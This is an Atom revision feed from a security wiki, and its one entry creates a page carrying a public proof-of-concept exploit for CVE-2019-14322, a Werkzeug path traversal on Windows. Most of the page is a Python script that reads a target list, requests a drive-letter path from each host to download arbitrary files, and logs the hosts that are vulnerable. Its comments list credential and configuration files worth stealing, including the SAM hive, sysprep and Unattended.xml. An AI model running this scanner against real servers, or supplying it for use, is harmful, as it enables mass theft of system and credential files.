<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-14322_Pallets_Werkzeug_0.15.4_%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2019-14322 Pallets Werkzeug 0.15.4 目錄遍歷漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-14322_Pallets_Werkzeug_0.15.4_%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-14322_Pallets_Werkzeug_0.15.4_%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T18:14:01Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2019-14322_Pallets_Werkzeug_0.15.4_%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E6%BC%8F%E6%B4%9E&amp;diff=6428&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; # Exploit Title: Pallets Werkzeug 0.15.4 - Path Traversal # Date: 06 July 2021 # Original Author: Emre ÖVÜNÇ # Exploit Author: faisalfs10x (https://github.com/faisalf...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-14322_Pallets_Werkzeug_0.15.4_%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E6%BC%8F%E6%B4%9E&amp;diff=6428&amp;oldid=prev"/>
		<updated>2021-07-07T02:51:19Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; # Exploit Title: Pallets Werkzeug 0.15.4 - Path Traversal # Date: 06 July 2021 # Original Author: Emre ÖVÜNÇ # Exploit Author: faisalfs10x (https://github.com/faisalf...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Pallets Werkzeug 0.15.4 - Path Traversal&lt;br /&gt;
# Date: 06 July 2021&lt;br /&gt;
# Original Author: Emre ÖVÜNÇ&lt;br /&gt;
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)&lt;br /&gt;
# Vendor Homepage: https://palletsprojects.com/&lt;br /&gt;
# Software Link: https://github.com/pallets/werkzeug&lt;br /&gt;
# Version: Prior to 0.15.5&lt;br /&gt;
# Tested on: Windows Server&lt;br /&gt;
# CVE: 2019-14322&lt;br /&gt;
# Credit: Emre Övünç and Olivier Dony for responsibly reporting the issue&lt;br /&gt;
# CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-14322&lt;br /&gt;
# Reference : https://palletsprojects.com/blog/werkzeug-0-15-5-released/&lt;br /&gt;
&lt;br /&gt;
Description : Prior to 0.15.5, it was possible for a third party to potentially access arbitrary files when the application used SharedDataMiddleware on Windows. Due to the way Python's os.path.join() function works on Windows, a path segment with a drive name will change the drive of the final path. TLDR; In Pallets Werkzeug before 0.15.5, SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames lead to arbitrary file download.&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
# PoC code by @faisalfs10x [https://github.com/faisalfs10x]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot; $ pip3 install colorama==0.3.3, argparse, requests, urllib3&lt;br /&gt;
    $ python3 CVE-2019-14322.py -l list_target.txt&amp;quot;&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
import argparse&lt;br /&gt;
import urllib3&lt;br /&gt;
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)&lt;br /&gt;
import requests&lt;br /&gt;
from colorama import Fore, Back, Style, init&lt;br /&gt;
&lt;br /&gt;
# Colors&lt;br /&gt;
red = '\033[91m'&lt;br /&gt;
green = '\033[92m'&lt;br /&gt;
white = '\033[97m'&lt;br /&gt;
yellow = '\033[93m'&lt;br /&gt;
bold = '\033[1m'&lt;br /&gt;
end = '\033[0m'&lt;br /&gt;
&lt;br /&gt;
init(autoreset=True)&lt;br /&gt;
&lt;br /&gt;
def banner_motd():&lt;br /&gt;
    print(Fore.CYAN +Style.BRIGHT +&amp;quot;&amp;quot;&amp;quot;                                                                &lt;br /&gt;
&lt;br /&gt;
        CVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot; % (bold, red, white, yellow, white, end))&lt;br /&gt;
&lt;br /&gt;
banner_motd()&lt;br /&gt;
&lt;br /&gt;
# list of sensitive files to grab in windows&lt;br /&gt;
&lt;br /&gt;
# %windir%\repair\sam&lt;br /&gt;
# %windir%\System32\config\RegBack\SAM&lt;br /&gt;
# %windir%\repair\system&lt;br /&gt;
# %windir%\repair\software&lt;br /&gt;
# %windir%\repair\security&lt;br /&gt;
# %windir%\debug\NetSetup.log (AD domain name, DC name, internal IP, DA account)&lt;br /&gt;
# %windir%\iis6.log (5,6 or 7)&lt;br /&gt;
# %windir%\system32\logfiles\httperr\httperr1.log&lt;br /&gt;
# C:\sysprep.inf&lt;br /&gt;
# C:\sysprep\sysprep.inf&lt;br /&gt;
# C:\sysprep\sysprep.xml&lt;br /&gt;
# %windir%\Panther\Unattended.xml&lt;br /&gt;
# C:\inetpub\wwwroot\Web.config&lt;br /&gt;
# %windir%\system32\config\AppEvent.Evt (Application log)&lt;br /&gt;
# %windir%\system32\config\SecEvent.Evt (Security log)&lt;br /&gt;
# %windir%\system32\config\default.sav&lt;br /&gt;
# %windir%\system32\config\security.sav&lt;br /&gt;
# %windir%\system32\config\software.sav&lt;br /&gt;
# %windir%\system32\config\system.sav&lt;br /&gt;
# %windir%\system32\inetsrv\config\applicationHost.config&lt;br /&gt;
# %windir%\system32\inetsrv\config\schema\ASPNET_schema.xml&lt;br /&gt;
# %windir%\System32\drivers\etc\hosts (dns entries)&lt;br /&gt;
# %windir%\System32\drivers\etc\networks (network settings)&lt;br /&gt;
# %windir%\system32\config\SAM&lt;br /&gt;
# TLDR:&lt;br /&gt;
# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml&lt;br /&gt;
# C:/windows/system32/inetsrv/config/applicationHost.config&lt;br /&gt;
# C:/windows/system32/logfiles/httperr/httperr1.log &lt;br /&gt;
# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)&lt;br /&gt;
# C:/windows/system32/drivers/etc/hosts - (dns entries)&lt;br /&gt;
# C:/windows/system32/drivers/etc/networks - (network settings)&lt;br /&gt;
&lt;br /&gt;
def check(url):&lt;br /&gt;
&lt;br /&gt;
	# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)&lt;br /&gt;
	for endpoint in [&lt;br /&gt;
			'https://{}/base_import/static/c:/windows/win.ini', &lt;br /&gt;
			#'https://{}/web/static/c:/windows/win.ini', &lt;br /&gt;
			#'https://{}/base/static/c:/windows/win.ini'&lt;br /&gt;
			]:&lt;br /&gt;
		try:&lt;br /&gt;
&lt;br /&gt;
			url2 = endpoint.format(url)&lt;br /&gt;
			resp = requests.get(url2, verify=False, timeout=5)&lt;br /&gt;
			&lt;br /&gt;
			if 'fonts' and 'files' and 'extensions' in resp.text:&lt;br /&gt;
				print(Fore.LIGHTGREEN_EX +Style.BRIGHT +&amp;quot; [+] &amp;quot; +url2+ &amp;quot; : vulnerable====[+]&amp;quot;)&lt;br /&gt;
				with open('CVE-2019-14322_result.txt', 'a+') as output:&lt;br /&gt;
					output.write('{}\n'.format(url2))&lt;br /&gt;
					output.close()&lt;br /&gt;
&lt;br /&gt;
			else:&lt;br /&gt;
				print(&amp;quot; [-] &amp;quot; +url+ &amp;quot; : not vulnerable&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
		except KeyboardInterrupt:&lt;br /&gt;
			exit('User aborted!')&lt;br /&gt;
		except:&lt;br /&gt;
			print(&amp;quot; [-] &amp;quot; +url+ &amp;quot; : not vulnerable&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main(args):&lt;br /&gt;
&lt;br /&gt;
    f = open(listfile, &amp;quot;r&amp;quot;)&lt;br /&gt;
    for w in f:&lt;br /&gt;
        url = w.strip()&lt;br /&gt;
            &lt;br /&gt;
        check(url)&lt;br /&gt;
    &lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
    try:&lt;br /&gt;
&lt;br /&gt;
        parser = argparse.ArgumentParser(description='CVE-2019-14322')&lt;br /&gt;
        parser.add_argument(&amp;quot;-l&amp;quot;,&amp;quot;--targetlist&amp;quot;,required=True, help = &amp;quot;target list in file&amp;quot;)&lt;br /&gt;
        args = parser.parse_args()&lt;br /&gt;
        listfile = args.targetlist&lt;br /&gt;
&lt;br /&gt;
        main(args)&lt;br /&gt;
&lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        exit('User aborted!')&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>